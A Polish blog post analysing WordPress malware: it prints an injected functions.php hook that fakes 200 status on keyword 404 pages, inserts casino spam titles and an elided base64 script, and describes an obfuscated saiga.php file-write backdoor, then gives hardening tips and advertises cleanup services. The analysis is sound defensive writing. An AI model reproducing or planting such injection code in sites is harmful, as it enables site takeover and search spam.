W ostatnim czasie coraz więcej administratorów stron internetowych opartych na WordPressie zgłasza problemy związane ze spadkiem pozycji w Google, obecnością dziwnych treści na podstronach 404, a także przekierowaniami do podejrzanych serwisów hazardowych. W tym artykule przedstawię analizę rzeczywistego przypadku złośliwego kodu, który został wykryty w dwóch plikach: functions.php
oraz osobnym pliku backdoor o nazwie saiga.php
.
Czym jest złośliwy kod PHP?
Złośliwy kod PHP to fragment skryptu, który działa na serwerze bez wiedzy administratora strony. Może on wykonywać działania takie jak:
- manipulacja treścią strony (blackhat SEO),
- wykradanie danych,
- tworzenie backdoorów,
- przekierowania do stron trzecich,
- infekowanie odwiedzających skryptami JS.
Zagrożenie tego typu jest szczególnie niebezpieczne dla witryn WordPress, które korzystają z wielu zewnętrznych motywów i wtyczek, często nieaktualizowanych lub pochodzących z niezaufanych źródeł.
Analiza kodu z pliku functions.php
W zainfekowanym pliku functions.php
zidentyfikowano złośliwą funkcję PHP o nazwie insert_script_and_replace_title
. Jej działanie wygląda następująco:
function insert_script_and_replace_title($template) {
ob_start(function ($buffer) {
$should_insert = false;
foreach ($keywords as $keyword) {
if (stripos($_SERVER['REQUEST_URI'], $keyword) !== false) {
$should_insert = true;
break;
}
}
if($should_insert && is_404()){
http_response_code(200);
$buffer = preg_replace('/<title>.*?<\/title>/i', '<title>Polskie Kasyno Online 2025</title>', $buffer);
$buffer = preg_replace('/<\/head>/i', '<meta name="description" content="Zagraj w najlepsze kasyna online."></head>', $buffer);
}
$base64_script = '<script src="data:text/javascript;base64,..."></script>';
$buffer = preg_replace('/(<\/title>)/i', '$1'.$base64_script, $buffer);
return $buffer;
});
return $template;
}
add_filter('template_include', 'insert_script_and_replace_title', PHP_INT_MAX);
Działanie funkcji:
- Kod uruchamia się tylko na stronach 404 zawierających konkretne słowa kluczowe, np. „casino”, „bonus”, „slot”.
- Fałszuje status HTTP (zmienia 404 na 200), co pozwala wyszukiwarkom zindeksować zawartość.
- Wstawia tytuł i meta description zawierające słowa kluczowe hazardowe.
- Osadza zaszyfrowany skrypt JavaScript w formacie Base64.
Analiza backdoora z pliku saiga.php
W drugim pliku odnaleziono bardziej zaawansowany kod – typowy backdoor PHP umożliwiający zdalne zarządzanie plikami:
- Skrypt ukrywa swój cel, korzystając z zakodowanych zmiennych (ROT13 + URLENCODE).
- Obsługuje specjalne zapytania HTTP z parametrem
pd
, który działa jak hasło (SHA1 hash). - Pozwala zdalnie dodawać pliki, takie jak
robots.txt
,sitemap.xml
czy pliki weryfikacji Google. - Może zapisywać dane w dowolnej lokalizacji na serwerze, bez wiedzy administratora.
Backdoor umożliwia pełną kontrolę nad serwerem, co w praktyce oznacza przejęcie strony i możliwość infekowania odwiedzających.
Skutki infekcji dla właściciela strony
- Spadek pozycji SEO – strona zaczyna być kojarzona z treściami hazardowymi, trafia na blacklisty Google.
- Utrata wiarygodności – użytkownicy trafiają na strony o podejrzanej treści.
- Ryzyko prawne – witryna może zostać zgłoszona jako naruszająca prawo.
- Potencjalna utrata danych lub kompromitacja serwera.
Jak się zabezpieczyć?
- Regularne aktualizacje WordPressa, motywów i wtyczek.
- Unikanie pirackich dodatków – korzystaj wyłącznie z oficjalnych źródeł.
- Skany bezpieczeństwa – zainstaluj wtyczki typu Wordfence, iThemes Security lub korzystaj z rozwiązań typu Wazuh.
- Monitorowanie plików – używaj narzędzi wykrywających nieautoryzowane zmiany.
- Kopie zapasowe – wykonuj regularne backupy całej strony i bazy danych.
- Dobre hasła i ograniczenia dostępu do panelu administracyjnego.
Podsumowanie
Złośliwy kod PHP to poważne zagrożenie, które może działać długo niezauważone. Przedstawiony przypadek pokazuje, jak skutecznie można ukryć działania SEO-spamerskie i przejąć kontrolę nad witryną.
Jeśli zauważysz dziwne zachowanie swojej strony, spadek pozycji w wyszukiwarce lub przekierowania – nie zwlekaj z reakcją.
Potrzebujesz pomocy przy analizie lub naprawie zainfekowanej strony WordPress? Dyskretnie i profesjonalnie mogę się tym zająć. Skontaktuj się, zanim będzie za późno.